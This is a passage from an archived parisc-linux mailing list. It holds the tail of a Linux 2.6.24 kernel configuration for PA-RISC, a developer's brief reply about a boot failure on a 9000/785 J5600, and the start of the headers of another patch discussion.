CONFIG_FONT_8x16=y
CONFIG_LOGO=y
CONFIG_LOGO_LINUX_MONO=y
CONFIG_LOGO_LINUX_VGA16=y
CONFIG_LOGO_LINUX_CLUT224=y
CONFIG_LOGO_PARISC_CLUT224=y

#
# Sound
#
CONFIG_SOUND=m

#
# Advanced Linux Sound Architecture
#
CONFIG_SND=m
CONFIG_SND_TIMER=m
CONFIG_SND_PCM=m
CONFIG_SND_HWDEP=m
CONFIG_SND_RAWMIDI=m
CONFIG_SND_SEQUENCER=m
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=m
CONFIG_SND_PCM_OSS=m
CONFIG_SND_PCM_OSS_PLUGINS=y
CONFIG_SND_SEQUENCER_OSS=y
# CONFIG_SND_DYNAMIC_MINORS is not set
CONFIG_SND_SUPPORT_OLD_API=y
CONFIG_SND_VERBOSE_PROCFS=y
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set

#
# Generic devices
#
CONFIG_SND_MPU401_UART=m
CONFIG_SND_OPL3_LIB=m
CONFIG_SND_AC97_CODEC=m
CONFIG_SND_DUMMY=m
# CONFIG_SND_VIRMIDI is not set
# CONFIG_SND_MTPAV is not set
CONFIG_SND_MTS64=m
# CONFIG_SND_SERIAL_U16550 is not set
# CONFIG_SND_MPU401 is not set
CONFIG_SND_PORTMAN2X4=m

#
# PCI devices
#
CONFIG_SND_AD1889=m
CONFIG_SND_ALS300=m
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
CONFIG_SND_DARLA20=m
CONFIG_SND_GINA20=m
CONFIG_SND_LAYLA20=m
CONFIG_SND_DARLA24=m
CONFIG_SND_GINA24=m
CONFIG_SND_LAYLA24=m
CONFIG_SND_MONA=m
CONFIG_SND_MIA=m
CONFIG_SND_ECHO3G=m
CONFIG_SND_INDIGO=m
CONFIG_SND_INDIGOIO=m
CONFIG_SND_INDIGODJ=m
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
CONFIG_SND_HDSPM=m
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
CONFIG_SND_PCXHR=m
CONFIG_SND_RIPTIDE=m
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
CONFIG_SND_AC97_POWER_SAVE=y
CONFIG_SND_AC97_POWER_SAVE_DEFAULT=0

#
# SPI devices
#

#
# USB devices
#
# CONFIG_SND_USB_AUDIO is not set
# CONFIG_SND_USB_CAIAQ is not set

#
# GSC devices
#
# CONFIG_SND_HARMONY is not set

#
# System on Chip audio support
#
# CONFIG_SND_SOC is not set

#
# SoC Audio support for SuperH
#

#
# Open Sound System
#
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=m
CONFIG_HID_SUPPORT=y
CONFIG_HID=m
# CONFIG_HID_DEBUG is not set
# CONFIG_HIDRAW is not set

#
# USB Input Devices
#
CONFIG_USB_HID=m
# CONFIG_USB_HIDINPUT_POWERBOOK is not set
# CONFIG_HID_FF is not set
CONFIG_USB_HIDDEV=y

#
# USB HID Boot Protocol drivers
#
CONFIG_USB_KBD=m
CONFIG_USB_MOUSE=m
CONFIG_USB_SUPPORT=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB_ARCH_HAS_OHCI=y
CONFIG_USB_ARCH_HAS_EHCI=y
CONFIG_USB=m
CONFIG_USB_DEBUG=y

#
# Miscellaneous USB options
#
# CONFIG_USB_DEVICEFS is not set
CONFIG_USB_DEVICE_CLASS=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_OTG is not set

#
# USB Host Controller Drivers
#
CONFIG_USB_EHCI_HCD=m
# CONFIG_USB_EHCI_SPLIT_ISO is not set
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
CONFIG_USB_ISP116X_HCD=m
CONFIG_USB_OHCI_HCD=m
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
# CONFIG_USB_UHCI_HCD is not set
CONFIG_USB_U132_HCD=m
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set

#
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'
#

#
# may also be needed; see USB_STORAGE Help for more information
#
CONFIG_USB_STORAGE=m
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
CONFIG_USB_STORAGE_ALAUDA=y
CONFIG_USB_STORAGE_ONETOUCH=y
CONFIG_USB_STORAGE_KARMA=y
# CONFIG_USB_LIBUSUAL is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
CONFIG_USB_MON=y

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
CONFIG_USB_SERIAL=m
CONFIG_USB_SERIAL_GENERIC=y
CONFIG_USB_SERIAL_AIRCABLE=m
CONFIG_USB_SERIAL_AIRPRIME=m
CONFIG_USB_SERIAL_ARK3116=m
CONFIG_USB_SERIAL_BELKIN=m
# CONFIG_USB_SERIAL_CH341 is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
CONFIG_USB_SERIAL_DIGI_ACCELEPORT=m
CONFIG_USB_SERIAL_CP2101=m
CONFIG_USB_SERIAL_CYPRESS_M8=m
CONFIG_USB_SERIAL_EMPEG=m
CONFIG_USB_SERIAL_FTDI_SIO=m
CONFIG_USB_SERIAL_FUNSOFT=m
CONFIG_USB_SERIAL_VISOR=m
CONFIG_USB_SERIAL_IPAQ=m
CONFIG_USB_SERIAL_IR=m
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_EDGEPORT_TI is not set
CONFIG_USB_SERIAL_GARMIN=m
CONFIG_USB_SERIAL_IPW=m
CONFIG_USB_SERIAL_KEYSPAN_PDA=m
# CONFIG_USB_SERIAL_KEYSPAN is not set
CONFIG_USB_SERIAL_KLSI=m
CONFIG_USB_SERIAL_KOBIL_SCT=m
CONFIG_USB_SERIAL_MCT_U232=m
CONFIG_USB_SERIAL_MOS7720=m
CONFIG_USB_SERIAL_MOS7840=m
CONFIG_USB_SERIAL_NAVMAN=m
CONFIG_USB_SERIAL_PL2303=m
# CONFIG_USB_SERIAL_OTI6858 is not set
CONFIG_USB_SERIAL_HP4X=m
CONFIG_USB_SERIAL_SAFE=m
# CONFIG_USB_SERIAL_SAFE_PADDED is not set
CONFIG_USB_SERIAL_SIERRAWIRELESS=m
# CONFIG_USB_SERIAL_TI is not set
CONFIG_USB_SERIAL_CYBERJACK=m
CONFIG_USB_SERIAL_XIRCOM=m
CONFIG_USB_SERIAL_OPTION=m
CONFIG_USB_SERIAL_OMNINET=m
CONFIG_USB_SERIAL_DEBUG=m
CONFIG_USB_EZUSB=y

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
CONFIG_USB_ADUTUX=m
# CONFIG_USB_AUERSWALD is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
CONFIG_USB_BERRY_CHARGE=m
# CONFIG_USB_LED is not set
CONFIG_USB_CYPRESS_CY7C63=m
# CONFIG_USB_CYTHERM is not set
CONFIG_USB_PHIDGET=m
# CONFIG_USB_PHIDGETKIT is not set
CONFIG_USB_PHIDGETMOTORCONTROL=m
# CONFIG_USB_PHIDGETSERVO is not set
# CONFIG_USB_IDMOUSE is not set
CONFIG_USB_FTDI_ELAN=m
CONFIG_USB_APPLEDISPLAY=m
# CONFIG_USB_SISUSBVGA is not set
CONFIG_USB_LD=m
CONFIG_USB_TRANCEVIBRATOR=m
CONFIG_USB_IOWARRIOR=m

#
# USB DSL modem support
#

#
# USB Gadget Support
#
# CONFIG_USB_GADGET is not set
# CONFIG_MMC is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=m
CONFIG_RTC_CLASS=m

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#
CONFIG_RTC_DRV_RS5C348=m
CONFIG_RTC_DRV_MAX6902=m

#
# Platform RTC drivers
#
CONFIG_RTC_DRV_DS1553=m
# CONFIG_RTC_DRV_STK17TA8 is not set
CONFIG_RTC_DRV_DS1742=m
CONFIG_RTC_DRV_M48T86=m
# CONFIG_RTC_DRV_M48T59 is not set
CONFIG_RTC_DRV_V3020=m

#
# on-CPU RTC drivers
#
# CONFIG_AUXDISPLAY is not set

#
# Userspace I/O
#
# CONFIG_UIO is not set

#
# File systems
#
CONFIG_EXT2_FS=y
CONFIG_EXT2_FS_XATTR=y
CONFIG_EXT2_FS_POSIX_ACL=y
CONFIG_EXT2_FS_SECURITY=y
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=m
CONFIG_EXT3_FS_XATTR=y
CONFIG_EXT3_FS_POSIX_ACL=y
CONFIG_EXT3_FS_SECURITY=y
# CONFIG_EXT4DEV_FS is not set
CONFIG_JBD=m
# CONFIG_JBD_DEBUG is not set
CONFIG_FS_MBCACHE=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
CONFIG_FS_POSIX_ACL=y
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_MINIX_FS is not set
CONFIG_ROMFS_FS=m
CONFIG_INOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_QUOTA=y
# CONFIG_QUOTA_NETLINK_INTERFACE is not set
CONFIG_PRINT_QUOTA_WARNING=y
CONFIG_QFMT_V1=m
CONFIG_QFMT_V2=m
CONFIG_QUOTACTL=y
CONFIG_DNOTIFY=y
CONFIG_AUTOFS_FS=m
CONFIG_AUTOFS4_FS=m
CONFIG_FUSE_FS=m
CONFIG_GENERIC_ACL=y

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_UDF_FS=m
CONFIG_UDF_NLS=y

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
CONFIG_NTFS_FS=m
# CONFIG_NTFS_DEBUG is not set
CONFIG_NTFS_RW=y

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
CONFIG_TMPFS_POSIX_ACL=y
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=m

#
# Miscellaneous filesystems
#
# CONFIG_ADFS_FS is not set
# CONFIG_AFFS_FS is not set
CONFIG_ECRYPT_FS=m
# CONFIG_HFS_FS is not set
# CONFIG_HFSPLUS_FS is not set
# CONFIG_BEFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EFS_FS is not set
CONFIG_CRAMFS=y
CONFIG_VXFS_FS=m
# CONFIG_HPFS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_SYSV_FS is not set
# CONFIG_UFS_FS is not set
CONFIG_NETWORK_FILESYSTEMS=y
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
CONFIG_NFS_V3_ACL=y
CONFIG_NFS_V4=y
CONFIG_NFS_DIRECTIO=y
# CONFIG_NFSD is not set
CONFIG_ROOT_NFS=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_NFS_ACL_SUPPORT=y
CONFIG_NFS_COMMON=y
CONFIG_SUNRPC=y
CONFIG_SUNRPC_GSS=y
CONFIG_SUNRPC_BIND34=y
CONFIG_RPCSEC_GSS_KRB5=y
CONFIG_RPCSEC_GSS_SPKM3=m
CONFIG_SMB_FS=m
CONFIG_SMB_NLS_DEFAULT=y
CONFIG_SMB_NLS_REMOTE="cp437"
CONFIG_CIFS=m
# CONFIG_CIFS_STATS is not set
# CONFIG_CIFS_WEAK_PW_HASH is not set
# CONFIG_CIFS_XATTR is not set
# CONFIG_CIFS_DEBUG2 is not set
# CONFIG_CIFS_EXPERIMENTAL is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
CONFIG_NLS_CODEPAGE_737=m
CONFIG_NLS_CODEPAGE_775=m
CONFIG_NLS_CODEPAGE_850=m
CONFIG_NLS_CODEPAGE_852=m
CONFIG_NLS_CODEPAGE_855=m
CONFIG_NLS_CODEPAGE_857=m
CONFIG_NLS_CODEPAGE_860=m
CONFIG_NLS_CODEPAGE_861=m
CONFIG_NLS_CODEPAGE_862=m
CONFIG_NLS_CODEPAGE_863=m
CONFIG_NLS_CODEPAGE_864=m
CONFIG_NLS_CODEPAGE_865=m
CONFIG_NLS_CODEPAGE_866=m
CONFIG_NLS_CODEPAGE_869=m
CONFIG_NLS_CODEPAGE_936=m
CONFIG_NLS_CODEPAGE_950=m
CONFIG_NLS_CODEPAGE_932=m
CONFIG_NLS_CODEPAGE_949=m
CONFIG_NLS_CODEPAGE_874=m
CONFIG_NLS_ISO8859_8=m
CONFIG_NLS_CODEPAGE_1250=m
CONFIG_NLS_CODEPAGE_1251=m
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
CONFIG_NLS_ISO8859_2=m
CONFIG_NLS_ISO8859_3=m
CONFIG_NLS_ISO8859_4=m
CONFIG_NLS_ISO8859_5=m
CONFIG_NLS_ISO8859_6=m
CONFIG_NLS_ISO8859_7=m
CONFIG_NLS_ISO8859_9=m
CONFIG_NLS_ISO8859_13=m
CONFIG_NLS_ISO8859_14=m
CONFIG_NLS_ISO8859_15=m
CONFIG_NLS_KOI8_R=m
CONFIG_NLS_KOI8_U=m
CONFIG_NLS_UTF8=m
CONFIG_DLM=m
CONFIG_DLM_DEBUG=y
CONFIG_INSTRUMENTATION=y
CONFIG_PROFILING=y
CONFIG_OPROFILE=m
# CONFIG_MARKERS is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_MAGIC_SYSRQ=y
CONFIG_UNUSED_SYMBOLS=y
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_DETECT_SOFTLOCKUP is not set
CONFIG_SCHED_DEBUG=y
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_SPINLOCK_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_FORCED_INLINING is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RWLOCK is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_KEYS_DEBUG_PROC_KEYS is not set
CONFIG_SECURITY=y
CONFIG_SECURITY_NETWORK=y
CONFIG_SECURITY_NETWORK_XFRM=y
CONFIG_SECURITY_CAPABILITIES=y
# CONFIG_SECURITY_FILE_CAPABILITIES is not set
CONFIG_SECURITY_SELINUX=y
CONFIG_SECURITY_SELINUX_BOOTPARAM=y
CONFIG_SECURITY_SELINUX_BOOTPARAM_VALUE=0
CONFIG_SECURITY_SELINUX_DISABLE=y
CONFIG_SECURITY_SELINUX_DEVELOP=y
CONFIG_SECURITY_SELINUX_AVC_STATS=y
CONFIG_SECURITY_SELINUX_CHECKREQPROT_VALUE=1
# CONFIG_SECURITY_SELINUX_ENABLE_SECMARK_DEFAULT is not set
# CONFIG_SECURITY_SELINUX_POLICYDB_VERSION_MAX is not set
CONFIG_XOR_BLOCKS=m
CONFIG_ASYNC_CORE=m
CONFIG_ASYNC_MEMCPY=m
CONFIG_ASYNC_XOR=m
CONFIG_CRYPTO=y
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_HMAC=y
CONFIG_CRYPTO_XCBC=m
CONFIG_CRYPTO_NULL=m
CONFIG_CRYPTO_MD4=m
CONFIG_CRYPTO_MD5=y
CONFIG_CRYPTO_SHA1=m
CONFIG_CRYPTO_SHA256=m
CONFIG_CRYPTO_SHA512=m
CONFIG_CRYPTO_WP512=m
CONFIG_CRYPTO_TGR192=m
CONFIG_CRYPTO_GF128MUL=m
CONFIG_CRYPTO_ECB=m
CONFIG_CRYPTO_CBC=y
CONFIG_CRYPTO_PCBC=m
CONFIG_CRYPTO_LRW=m
# CONFIG_CRYPTO_XTS is not set
# CONFIG_CRYPTO_CRYPTD is not set
CONFIG_CRYPTO_DES=y
CONFIG_CRYPTO_FCRYPT=m
CONFIG_CRYPTO_BLOWFISH=m
CONFIG_CRYPTO_TWOFISH=m
CONFIG_CRYPTO_TWOFISH_COMMON=m
CONFIG_CRYPTO_SERPENT=m
CONFIG_CRYPTO_AES=m
CONFIG_CRYPTO_CAST5=m
CONFIG_CRYPTO_CAST6=m
CONFIG_CRYPTO_TEA=m
CONFIG_CRYPTO_ARC4=m
CONFIG_CRYPTO_KHAZAD=m
CONFIG_CRYPTO_ANUBIS=m
# CONFIG_CRYPTO_SEED is not set
CONFIG_CRYPTO_DEFLATE=m
CONFIG_CRYPTO_MICHAEL_MIC=m
CONFIG_CRYPTO_CRC32C=m
CONFIG_CRYPTO_CAMELLIA=m
CONFIG_CRYPTO_TEST=m
# CONFIG_CRYPTO_AUTHENC is not set
CONFIG_CRYPTO_HW=y

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_CRC_CCITT=m
CONFIG_CRC16=m
CONFIG_CRC_ITU_T=m
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
CONFIG_LIBCRC32C=m
CONFIG_AUDIT_GENERIC=y
CONFIG_ZLIB_INFLATE=y
CONFIG_ZLIB_DEFLATE=m
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=m
CONFIG_TEXTSEARCH_BM=m
CONFIG_TEXTSEARCH_FSM=m
CONFIG_PLIST=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y

--Boundary-00=_KL+SH2TsiGrSSff
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_KL+SH2TsiGrSSff--



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [parisc] 2.6.24-rc3 (64-bit,
	smp) fails to boot on 9000/785/J5600
Date: Tue, 27 Nov 2007 11:45:27 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20071127164527.GA28891__9947.95984956927$1416624450$gmane$org@fattire.cabal.ca>
References: <200711271026.34863.elendil@planet.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624450 25418 80.91.229.3 (22 Nov 2014 02:47:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:30 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Frans Pop <elendil@planet.nl>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:13:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 20 Dec 2007 20:13:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 242917F868;
	Thu, 20 Dec 2007 12:13:21 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8HeSzx2VpYbx; Thu, 20 Dec 2007 12:13:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED27C7D519;
	Thu, 20 Dec 2007 11:55:04 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C1B247D428
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 09:45:35 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id pqxKW-NejXqD for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 09:45:24 -0700 (MST)
Original-Received: from fattire.cabal.ca (there.is.no.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 7EEC77D427
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 27 Nov 2007 09:45:24 -0700 (MST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 0CA6523E2D; Tue, 27 Nov 2007 11:45:28 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200711271026.34863.elendil@planet.nl>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Htest: 0.67
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4YdScmBMbmw6bK2HZzdLnoNHUzc4clHk
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24834

On Tue, Nov 27, 2007 at 10:26:34AM +0100, Frans Pop wrote:
> v2.6.24-rc3-19-g2ffbb83 fails very early in the boot procedure.
> 2.6.23 compiled with similar config boots fine.
> 
> System is running Debian unstable; kernel was compiled using gcc 4.1.2.
> 

Ah, I diagnosed this last week. Will post the patch in a bit.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 2/2] backport of sba sg list management
	to ccio-dma
Date: Thu, 29 Nov 2007 11:50:57 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <20071129185057.GA14893@colo.lackof.org>
References: <JS7JF3$B26560F4AD894A9D4B4501FF960EB990@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624450 25420 80.91.229.3 (22 Nov 2014 02:47:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Dec 2007 19:49:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx089) with SMTP; 20 Dec 2007 20:49:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D79607F806;
	Thu, 20 Dec 2007 12:49:14 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id nv7ZL3fb+wJX; Thu, 20 Dec 2007 12:49:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2408E7F807;
	Thu, 20 Dec 2007 12:28:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 491BC7D426
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Nov 2007 11:51:21 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id EjzThNUV4Exc for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Nov 2007 11:51:10 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
